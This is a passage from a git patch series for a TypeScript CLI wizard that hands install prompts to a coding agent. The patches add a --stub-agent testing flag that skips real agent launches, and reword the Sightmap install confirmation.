- prompt: snippetPrompt, - cwd: options.dir, - binaryPath: chosen.binaryPath, - debug: options.debug, - onEvent, - }); + // --stub-agent does the same but logs "prompt ran!" instead. + let result: LaunchResult; + if (options.printPrompt) { + result = { mode: 'handoff', exitCode: 0, clipboardHoldsPrompt: false }; + } else if (options.stubAgent) { + stubAgentRun('STEP 1'); + result = { mode: 'handoff', exitCode: 0, clipboardHoldsPrompt: false }; + } else { + result = await chosen.definition.launch({ + prompt: snippetPrompt, + cwd: options.dir, + binaryPath: chosen.binaryPath, + debug: options.debug, + onEvent, + }); + } telemetry.note('wizard_completed', { agent: chosen.definition.id, mode: result.mode, @@ -363,9 +379,9 @@ export async function runWizard(options: WizardOptions): Promise { installPending: true, clipboardHoldsInstallPrompt: result.clipboardHoldsPrompt, yes: options.yes, - // Suppressed under --print-prompt so the demo's "Open agent?" offer - // can't launch the app during a dry run. - openTarget: options.printPrompt ? undefined : openTarget, + // Suppressed under --print-prompt/--stub-agent so the demo's "Open + // agent?" offer can't launch the app during a dry run. + openTarget: options.printPrompt || options.stubAgent ? undefined : openTarget, onEvent, }); if ( @@ -384,7 +400,7 @@ export async function runWizard(options: WizardOptions): Promise { agentName: chosen.definition.name, clipboardBusy: result.clipboardHoldsPrompt, yes: options.yes, - openTarget: options.printPrompt ? undefined : openTarget, + openTarget: options.printPrompt || options.stubAgent ? undefined : openTarget, onEvent, }); // Last item of the enrichment list — offered after the other three. @@ -410,12 +426,19 @@ export async function runWizard(options: WizardOptions): Promise { // share, and the funnel would lose them. const driveLaunch = async ( launchPrompt: string, + label: string, ): Promise<{ result: LaunchResult; installSucceeded: boolean }> => { if (options.printPrompt) { // --print-prompt is a dry run: the prompt was already printed above, so // skip actually spawning the agent and report a clean no-op so the rest // of the flow (demo guide, phase-2 prompt) still runs. - p.log.info(pc.dim('--print-prompt — skipping the agent run.')); + p.log.info(pc.dim('--print-prompt: skipping the agent run.')); + return { result: { mode: 'ran', exitCode: 0 }, installSucceeded: true }; + } + if (options.stubAgent) { + // --stub-agent skips the same real launch, but without ever printing + // the prompt — just a short confirmation that this step was stubbed. + stubAgentRun(label); return { result: { mode: 'ran', exitCode: 0 }, installSucceeded: true }; } const sentMarkerSteps = new Set(); @@ -441,7 +464,7 @@ export async function runWizard(options: WizardOptions): Promise { }; // Phase 1 — install the snippet. - const { result, installSucceeded } = await driveLaunch(snippetPrompt); + const { result, installSucceeded } = await driveLaunch(snippetPrompt, 'STEP 1'); telemetry.note('wizard_completed', { agent: chosen.definition.id, mode: result.mode, @@ -472,10 +495,12 @@ export async function runWizard(options: WizardOptions): Promise { // one exists, raw MCP entry otherwise) so the agent can review sessions, // then show the first-ASR guide. Consent was captured pre-handoff // (reviewToolsConsent) so this runs without a fresh prompt. Skipped under - // --print-prompt: the packaged-plugin path spawns the agent CLI, and a dry - // run must not launch the agent. - if (!options.printPrompt) { + // --print-prompt/--stub-agent: the packaged-plugin path spawns the agent + // CLI, and a dry run must not launch the agent. + if (!options.printPrompt && !options.stubAgent) { await offerPluginSetup(chosen, auth.region, options, onEvent, reviewToolsConsent); + } else if (options.stubAgent) { + stubAgentRun('plugin setup'); } await showDemoGuide({ agentName: chosen.definition.name, @@ -483,16 +508,17 @@ export async function runWizard(options: WizardOptions): Promise { // been refused or abandoned — frame the guide as post-install work. installPending: !installConfirmed, yes: options.yes, - // Suppressed under --print-prompt so the demo's "Open agent?" offer can't - // spawn the agent during a dry run. - openTarget: options.printPrompt - ? undefined - : { - kind: 'terminal', - name: chosen.definition.name, - binaryPath: chosen.binaryPath, - dir: options.dir, - }, + // Suppressed under --print-prompt/--stub-agent so the demo's "Open + // agent?" offer can't spawn the agent during a dry run. + openTarget: + options.printPrompt || options.stubAgent + ? undefined + : { + kind: 'terminal', + name: chosen.definition.name, + binaryPath: chosen.binaryPath, + dir: options.dir, + }, onEvent, }); @@ -517,7 +543,7 @@ export async function runWizard(options: WizardOptions): Promise { telemetry: promptTelemetry, }); printPromptForTesting('STEP 2: enrichment prompt', enrichPrompt); - const { result: enrichResult } = await driveLaunch(enrichPrompt); + const { result: enrichResult } = await driveLaunch(enrichPrompt, 'STEP 2'); telemetry.note('phase2_completed', { exit_code: enrichResult.exitCode ?? null }); if (enrichResult.exitCode !== 0) { telemetry.note('phase2_failed', { exit_code: enrichResult.exitCode ?? null }); diff --git a/src/sightmap.ts b/src/sightmap.ts index 7b38bc9..c9b8f77 100644 --- a/src/sightmap.ts +++ b/src/sightmap.ts @@ -194,7 +194,11 @@ export async function offerSightmapSetup( return; } - if (options.mock) { + // --stub-agent wants the opposite trade-off from --mock here: it still + // provisions the CLI for real (that's the part worth testing), it just + // skips the agent run below. So mock's early return is skipped whenever + // --stub-agent is set, even if --mock is also passed. + if (options.mock && !options.stubAgent) { p.log.info( pc.dim( `Mock mode: would run\n ${provisionCommands().join('\n ')}\n` + @@ -213,6 +217,12 @@ export async function offerSightmapSetup( return; } + if (options.stubAgent) { + p.log.info(pc.dim('SIGHTMAP: prompt ran!')); + onEvent('sightmap_authored', { method: 'stub-agent', live: Boolean(appUrl) }); + return; + } + p.log.step(`Authoring the sightmap with ${chosen.definition.name}…`); let result; try { diff --git a/src/test/helpers.ts b/src/test/helpers.ts index cbc892d..7d4cf25 100644 --- a/src/test/helpers.ts +++ b/src/test/helpers.ts @@ -15,6 +15,7 @@ export function makeOptions(overrides: Partial = {}): WizardOptio telemetry: false, region: 'us', printPrompt: false, + stubAgent: false, yes: true, sightmap: false, debug: false, From 055cbd61fdb3f789b6cbc1ccdb8c8e3a631e08b6 Mon Sep 17 00:00:00 2001 From: Nathan Rodd Date: Fri, 2 Oct 2026 11:32:52 -0400 Subject: [PATCH 6/6] Reword the sightmap install prompt to explain its value Lead with what Sightmap is and why it helps, so people who don't know the term are less likely to decline. --- src/sightmap.ts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/sightmap.ts b/src/sightmap.ts index c9b8f77..48e88dc 100644 --- a/src/sightmap.ts +++ b/src/sightmap.ts @@ -161,7 +161,7 @@ export async function offerSightmapSetup( // --sightmap is the standing authorization; otherwise ask. if (!options.yes) { const yes = await p.confirm({ - message: `Build a component sightmap so reviews name your UI? ${pc.dim( + message: `Install Sightmap: improve session review quality and efficiency with a semantic runtime map of your application ${pc.dim( `(installs ${SIGHTMAP_PACKAGE})`, )}`, });